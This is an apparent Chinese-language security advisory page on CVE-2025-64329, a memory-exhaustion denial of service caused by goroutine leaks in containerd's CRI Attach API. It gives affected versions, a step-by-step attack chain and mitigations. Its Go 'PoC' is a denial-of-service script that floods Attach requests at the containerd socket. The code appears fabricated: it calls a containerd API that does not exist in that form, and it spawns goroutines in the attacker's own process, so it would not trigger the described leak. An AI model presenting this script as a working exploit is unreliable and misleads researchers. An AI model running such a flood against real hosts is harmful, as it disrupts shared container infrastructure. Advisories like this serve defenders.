IPBUF安全漏洞报告
English
CVE-2025-64329 CVSS 5.5 中危

containerd CRI Attach goroutine泄漏导致拒绝服务漏洞 (CVE-2025-64329)

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64329
漏洞类型
资源耗尽/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
containerd

相关标签

containerd资源耗尽拒绝服务goroutine泄漏内存泄漏CRI容器安全CVE-2025-64329

漏洞概述

CVE-2025-64329是containerd容器运行时中的一个内存耗尽拒绝服务漏洞。该漏洞存在于containerd的CRI(Container Runtime Interface)Attach功能实现中,由于goroutine泄漏问题,攻击者可以通过持续发起Attach请求来耗尽主机内存资源。containerd是一个广泛使用的开源容器运行时,是Docker、Kubernetes等容器平台的核心组件。此漏洞影响多个版本分支,包括1.7.x、2.0.x、2.1.x和2.2.x系列。由于漏洞需要本地低权限访问,主要威胁场景为多租户环境或共享主机资源的环境。攻击者通过利用此漏洞可以造成主机内存耗尽,导致容器运行时服务中断,影响在该主机上运行的所有容器实例。

技术细节

该漏洞的根本原因在于containerd的CRI Attach API实现中,当客户端连接异常终止或未正确关闭时,对应的goroutine无法被正确释放。每个Attach请求都会创建一个新的goroutine来处理,如果攻击者快速发送大量Attach请求,这些goroutine将持续占用内存而不被回收。随着时间推移,累积的goroutine会导致主机内存耗尽。漏洞位于containerd的pkg/cri/server目录下,具体涉及attach服务的实现逻辑。攻击者需要具备本地访问权限和低权限即可发起攻击,无需特殊权限提升。攻击成功后会导致主机可用内存大幅下降,可能触发OOM Killer,进而影响所有运行中的容器和服务。修复版本在goroutine管理中添加了正确的清理机制,确保连接终止后资源能被及时释放。

攻击链分析

STEP 1
步骤1
攻击者获取目标主机的本地访问权限,需要能够与containerd socket通信
STEP 2
步骤2
攻击者识别运行中的容器,获取容器ID列表
STEP 3
步骤3
攻击者向containerd CRI Attach API发送大量异常Attach请求
STEP 4
步骤4
每个Attach请求触发一个新的goroutine处理,但goroutine未被正确释放
STEP 5
步骤5
随着goroutine数量增加,主机内存持续消耗,可用内存急剧下降
STEP 6
步骤6
内存耗尽导致系统触发OOM Killer或containerd服务崩溃,造成拒绝服务
STEP 7
步骤7
主机上运行的所有容器实例受到影响,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64329 PoC - containerd CRI Attach Memory Exhaustion // This PoC demonstrates goroutine leak in containerd CRI Attach // Usage: Run against a vulnerable containerd instance package main import ( "context" "fmt" "time" "github.com/containerd/containerd" "github.com/containerd/containerd/pkg/cri/server" ) func main() { // Connect to containerd socket conn, err := containerd.New("/run/containerd/containerd.sock") if err != nil { panic(err) } defer conn.Close() ctx := context.Background() // Get list of running containers containers, err := conn.Containers(ctx) if err != nil { panic(err) } fmt.Printf("Found %d containers\n", len(containers)) // Attack: Rapidly trigger Attach requests without proper cleanup // Each request creates a goroutine that leaks if connection is not properly closed for i := 0; i < 1000; i++ { for _, container := range containers { go func() { // Create attach request but never complete it // This triggers goroutine creation without cleanup _, _ = server.Attach(ctx, container.ID(), server.AttachOptions{ // Malformed or incomplete attach request }) }() } if i%100 == 0 { fmt.Printf("Sent %d attach requests...\n", i) } // Rapid fire to exhaust memory time.Sleep(10 * time.Millisecond) } fmt.Println("Attack complete - check host memory usage") }

影响范围

containerd 1.7.0 - 1.7.28
containerd 2.0.0-beta.0 - 2.0.6
containerd 2.1.0-beta.0 - 2.1.4
containerd 2.2.0-beta.0 - 2.2.0-rc.1

防御指南

临时缓解措施
在无法立即升级的情况下,可通过设置Kubernetes准入控制器(Admission Controller)来控制对pods/attach资源的访问,限制非授权用户发起Attach请求。同时监控主机内存使用情况,设置告警阈值以便及时发现异常内存消耗。对于多租户环境,建议对每个租户使用独立的containerd实例或节点池,以隔离影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表